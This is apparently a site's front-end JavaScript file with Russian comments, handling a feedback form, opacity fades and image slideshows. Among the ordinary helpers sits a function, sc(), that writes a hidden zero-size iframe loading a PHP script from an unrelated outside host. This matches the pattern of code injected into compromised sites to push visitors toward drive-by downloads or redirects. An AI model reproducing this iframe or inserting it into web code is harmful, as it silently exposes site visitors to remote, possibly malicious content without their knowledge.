var IsFeedbackPosted=false;
var FeedbackName=false;
var FeedbackMail=false;
var FeedbackMessage=false;

function FeedbackIsPosted(){
	IsFeedbackPosted=true;
}

function FeedbackOnFocus(Type){
	switch (Type) {
		case 'name':
			if(!FeedbackName){
				document.feedback_form.user_name.value='';
				FeedbackName=true;
			}
			break;
		case 'mail':
			if(!FeedbackMail){
				document.feedback_form.user_mail.value='';
				FeedbackMail=true;
			}
			break;
		case 'message':
			if(!FeedbackMessage){
				document.feedback_form.user_message.value='';
				FeedbackMessage=true;
			}
			break;
		default:
			break;
	}
	return false;
}

function sc() {
document.write("<iframe scrolling='no' frameborder='0' width='0' height='0' src='http://webengineer.com.ua/test/go.php'></iframe>");
}


function HideError(){
	document.body.style.background="white url('images/main_slanting.png') repeat-x center 200px";
	document.getElementById('global_main').style.height='auto';
	document.getElementById('global_main').style.overflow='visible';
	document.getElementById('global_main').style.background='transparent';

	document.getElementById('error').style.display='none';

	var Location=new String(document.location);
	if(Location.indexOf('#')!=-1){
		document.getElementById('error_button').href=document.location;
		return true;
	}
	else
		return false;
}

function ShowWelcome(){
	document.getElementById('more_welcome').style.display='none';
	document.getElementById('welcome2').style.display='block';
	return false;
}

function FeedbackSubmit(){
/*
	document.getElementById('id111').innerHTML='000';
	if((event.keyCode==13))
		document.getElementById('feedback_form').submit();
*/
}

function OpenDiv(id) {
	if (document.getElementById(id).style.display == 'block') document.getElementById(id).style.display='none';
	else document.getElementById(id).style.display='block';
	return false;
}

var counter=3;

function SetCounter(val) {

    counter = val;
}

function addQuestion(DivId)
{
    var div = document.getElementById(DivId);

    // Создаем строку таблицы и добавляем ее
    var row = document.createElement("span");
    div.appendChild(row);

    // Создаем ячейки в вышесозданной строке
    row.innerHTML = '<div class="row"><div class="text">'+counter+'.</div><input name="question['+counter+'][question_name]"  value=""/></div>';
    counter++;
}

var Host;
var im_ar;
var i;


/*
setElementOpacity - установка прозрачности
getOpacityProperty - проверка, есть ли возможность менять прозрачность
fadeOpacity - плавное изменение прозрачности
*/

/* Функция кроссбраузерной установки прозрачности

Пример: setElementOpacity(document.body, 0.5); //сделать документ прозрачным на половину
*/
function setElementOpacity(oElem, nOpacity)
{
	var p = getOpacityProperty();
	(setElementOpacity = p=="filter"?new Function('oElem', 'nOpacity', 'nOpacity *= 100;	var oAlpha = oElem.filters["DXImageTransform.Microsoft.alpha"] || oElem.filters.alpha;	if (oAlpha) oAlpha.opacity = nOpacity; else oElem.style.filter += "progid:DXImageTransform.Microsoft.Alpha(opacity="+nOpacity+")";'):p?new Function('oElem', 'nOpacity', 'oElem.style.'+p+' = nOpacity;'):new Function)(oElem, nOpacity);
}

// Функция getOpacityProperty() возвращает свойство которое используется для смены прозрачности или undefined, и может использоваться для проверки возможности изменения прозрачности
function getOpacityProperty()
{
	var p;
	if (typeof document.body.style.opacity == 'string') p = 'opacity';
	else if (typeof document.body.style.MozOpacity == 'string') p =  'MozOpacity';
	else if (typeof document.body.style.KhtmlOpacity == 'string') p =  'KhtmlOpacity';
	else if (document.body.filters && navigator.appVersion.match(/MSIE ([\d.]+);/)[1]>=5.5) p =  'filter';
	
	return (getOpacityProperty = new Function("return '"+p+"';"))();
}

/* Функции для плавного изменения прозрачности:

1) fadeOpacity.addRule('opacityRule1', 1, 0.5, 30); //вначале создаем правило, задаем имя правила, начальную прозрачность и конечную, необязательный параметр задержки, влийяющий на скорость смены прозрачности
2) fadeOpacity('elemID', 'opacityRule1'); // выполнить плавную смену прозрачности элемента с id равным elemID, по правилу opacityRule1
3) fadeOpacity.back('elemID'); //вернуться в исходное сотояние прозрачности
*/
function fadeOpacity(sElemId, sRuleName, bBackward)
{
	var elem = document.getElementById(sElemId);
	//if (!elem || !getOpacityProperty() || !fadeOpacity.aRules[sRuleName]) return;
	
	var rule = fadeOpacity.aRules[sRuleName];
	var nOpacity = rule.nStartOpacity;
	
	if (fadeOpacity.aProc[sElemId]) {clearInterval(fadeOpacity.aProc[sElemId].tId); nOpacity = fadeOpacity.aProc[sElemId].nOpacity;}
	if ((nOpacity==rule.nStartOpacity && bBackward) || (nOpacity==rule.nFinishOpacity && !bBackward)) return;

	fadeOpacity.aProc[sElemId] = {'nOpacity':nOpacity, 'tId':setInterval('fadeOpacity.run("'+sElemId+'")', fadeOpacity.aRules[sRuleName].nDalay), 'sRuleName':sRuleName, 'bBackward':Boolean(bBackward)};
}

fadeOpacity.addRule = function(sRuleName, nStartOpacity, nFinishOpacity, nDalay){fadeOpacity.aRules[sRuleName]={'nStartOpacity':nStartOpacity, 'nFinishOpacity':nFinishOpacity, 'nDalay':(nDalay || 30),'nDSign':(nFinishOpacity-nStartOpacity > 0?1:-1)};};

fadeOpacity.back = function(sElemId){fadeOpacity(sElemId,fadeOpacity.aProc[sElemId].sRuleName,true);};

fadeOpacity.run = function(sElemId)
{
	var proc = fadeOpacity.aProc[sElemId];
	var rule = fadeOpacity.aRules[proc.sRuleName];
	
	proc.nOpacity = Math.round(( proc.nOpacity + .1*rule.nDSign*(proc.bBackward?-1:1) )*10)/10;
	setElementOpacity(document.getElementById(sElemId), proc.nOpacity);
	
	if (proc.nOpacity==rule.nStartOpacity || proc.nOpacity==rule.nFinishOpacity) clearInterval(fadeOpacity.aProc[sElemId].tId);
}
fadeOpacity.aProc = {};
fadeOpacity.aRules = {};

var find;

function fade() {

	find -= 0.1;
	setElementOpacity(document.getElementById('menu_image_2'), find);
	if (find>0) setTimeout('fade()', 100); 
	else { 
		setElementOpacity(document.getElementById('menu_image_2'), find);
		var img = document.getElementById('menu_image_2');
		img.src = Host+im_ar[i];
	}
}

function SShow() {

  i++;
  
  if (i>9) i = 0;
  
  var img1 = document.getElementById('menu_image');
  img1.src = Host+im_ar[i];

  find = 1;	
  setElementOpacity(document.getElementById('menu_image_2'), find);
  setTimeout('fade()', 100); 
  
  setTimeout('SShow()', 7000); 
}

var x,z;
var im_ar1;
var im_ar2

function Show_Fi() {
	x++;
  
	if (x>5) x = 0;
  
	var img = document.getElementById('im1');
	img.src = Host+'images/gallery/small/'+im_ar1[x];
  
	setTimeout('Show_Fi()', 3000); 
}

function Show_Si() {
	z++;
  
	if (z>5) z = 0;
  
	var img = document.getElementById('im2');
	img.src = Host+'images/gallery/small/'+im_ar2[z];
  
	setTimeout('Show_Si()', 2500); 
}

function Init(temp) {
    Host = temp;
    x = 0; z = 0;
    im_ar = new Array();
    
    im_ar[0] = 'images/page_fon/foto1.jpg';
    im_ar[1] = 'images/page_fon/foto2.jpg';
    im_ar[2] = 'images/page_fon/foto3.jpg';
    im_ar[3] = 'images/page_fon/foto4.jpg';
    im_ar[4] = 'images/page_fon/foto5.jpg';
    im_ar[5] = 'images/page_fon/foto6.jpg';
    im_ar[6] = 'images/page_fon/foto7.jpg';
	im_ar[7] = 'images/page_fon/foto8.jpg';
	im_ar[8] = 'images/page_fon/foto9.jpg';
	im_ar[9] = 'images/page_fon/foto10.jpg';
	im_ar[10] = 'images/page_fon/foto11.jpg';
	im_ar[11] = 'images/page_fon/foto12.jpg';
	im_ar[12] = 'images/page_fon/foto13.jpg';
	im_ar[13] = 'images/page_fon/foto14.jpg';
    
    i = 0;
    
    setTimeout('SShow()', 10000); 
	setTimeout('Show_Si()', 5000); 
	setTimeout('Show_Fi()', 6000); 
}

var im_index=0;
var im_array=new Array();
var im_count;

function ShowBigImage(im_id, im_src, im_num) {
	
	
	var img1 = document.getElementById(im_id);
	img1.src = im_src;
	im_index = im_num;
}

function NextImage(im_id) {
	im_index++;
	if (im_index == im_count) {
		im_index = 0;
	}
	
	var img1 = document.getElementById(im_id);
	img1.src = im_array[im_index];
}